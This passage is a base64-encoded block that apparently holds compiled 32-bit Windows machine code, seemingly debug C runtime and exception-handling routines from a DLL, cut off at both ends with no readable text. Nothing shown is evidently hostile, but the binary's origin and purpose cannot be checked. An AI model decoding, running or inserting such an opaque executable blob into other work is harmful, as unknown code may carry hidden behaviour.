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
oAAAAGioggIQ/xWcIAIQhcAPjo0AAACDPUiWAhAAdUJopCsCEP8VmCACEImF9M///4O99M//
/wB0IGiYKwIQi430z///Uf8VlCACEKNIlgIQgz1IlgIQAHUIg8j/6a0CAACLVRBSi0UMUGhk
KwIQjY343///Uf8VSJYCEIPEEI2V+N///1L/FZAgAhBoqIICEP8VjCACEOjY/v//g8j/6WsC
AACDfRgAdDeLhfzv//9Qi00YUWjtDwAAjZUA8P//UugujQAAg8QQhcB9FGg4KwIQjYUA8P//
UOj2xP//g8QIg30IAnUyg30YAHQMx4XYz///JCsCEOsKx4XYz///ECsCEIuN2M///1GNlfjP
//9S6L7E//+DxAiNhQDw//9QjY34z///Uei4xP//g8QIg30IAnU5i1UIiwSVrIICEIPgAYXA
dBRoDCsCEI2N+M///1HojcT//4PECGgIKwIQjZX4z///Uuh5xP//g8QIg30MAHRCjYX4z///
UItNEFGLVQxSaPwqAhBoABAAAI2F+N///1DoW4sAAIPEGIXAfRRoOCsCEI2N+N///1HoI8T/
/4PECOsWjZX4z///Uo2F+N///1DoC8T//4PECIM9BK0CEAB0O42N+O///1GNlfjf//9Si0UI
UP8VBK0CEIPEDIXAdByDfQgCdQtoqIICEP8VjCACEIuF+O///+n/AAAAi00IixSNrIICEIPi
AYXSdD6LRQiDPIW4ggIQ/3QxagCNjfDP//9RjZX43///UuiBxP//g8QEUI2F+N///1CLTQiL
FI24ggIQUv8ViCACEItFCIsMhayCAhCD4QKFyXQNjZX43///Uv8VkCACEItFCIsMhayCAhCD
4QSFyXRug30QAHQdagqNldzP//9Si0UQUOguiQAAg8QMiYXUz///6wrHhdTP//8AAAAAjY0A
8P//UYtVFFKLhdTP//9Qi00MUYtVCFLoOgAAAIPEFImF+O///4N9CAJ1C2ioggIQ/xWMIAIQ
i4X47///6xODfQgCdQtoqIICEP8VjCACEDPAX4vlXcNVi+y4OBEAAOiDyP//g30YAHUlaPQs
AhBqAGjaAQAAaOgsAhBqAuhF/P//g8QUg/gBdQXoKPz//zPAhcB1z2gEAQAAjY34/v//UWoA
/xWgIAIQhcB1FGjQLAIQjZX4/v//UuhZwv//g8QIjYX4/v//iUX8i038Ueg0w///g8QEg/hA
dimLVfxS6CPD//+DxASLTfyNVAHAiVX8agNozCwCEItF/FDolo4AAIPEDItNFImN8O7//4O9
8O7//wB0SYuV8O7//1Lo5cL//4PEBIP4QHY1i4Xw7v//UOjRwv//g8QEi43w7v//jVQBwImV
8O7//2oDaMwsAhCLhfDu//9Q6DuOAACDxAyDfQgCdQzHhezu//9YLAIQ6wrHhezu//+oIQIQ
i00YD74RhdJ0C4tFGImF6O7//+sKx4Xo7v//qCECEItNGA++EYXSdBKDfQgCdQzHheTu//9I
LAIQ6wrHheTu//+oIQIQi0UYD74Ihcl0DMeF4O7//0QsAhDrCseF4O7//6ghAhCDfRAAdAuL
VRCJldzu///rCseF3O7//6ghAhCDfRAAdAzHhdju//88LAIQ6wrHhdju//+oIQIQg30MAHQL
i0UMiYXU7v//6wrHhdTu//+oIQIQg30MAHQMx4XQ7v//NCwCEOsKx4XQ7v//qCECEIO98O7/
/wB0DouN8O7//4mNzO7//+sKx4XM7v//qCECEIO98O7//wB0DMeFyO7//ygsAhDrCseFyO7/
/6ghAhCLlezu//9Si4Xo7v//UIuN5O7//1GLleDu//9Si4Xc7v//UIuN2O7//1GLldTu//9S
i4XQ7v//UIuNzO7//1GLlcju//9Si0X8UItNCIsUjcSCAhBSaNQrAhBoABAAAI2F9O7//1Do
PocAAIPEPIXAfRRoOCsCEI2N9O7//1HoBsD//4PECGgSIAEAaLArAhCNlfTu//9S6K2LAACD
xAyJhfT+//+DvfT+//8DdRFqFuj0iAAAg8QEagPomsH//4O99P7//wR1B7gBAAAA6wIzwIvl
XcPMzMzMVYvsoRSDAhBQ/xWkIAIQiw0EgwIQUf8VpCACEIsV9IICEFL/FaQgAhCh1IICEFD/
FaQgAhBdw8zMzMzMzMzMzFWL7FHHRfwAAAAA6wmLRfyDwAGJRfyDffwwfU2LTfyDPI3QggIQ
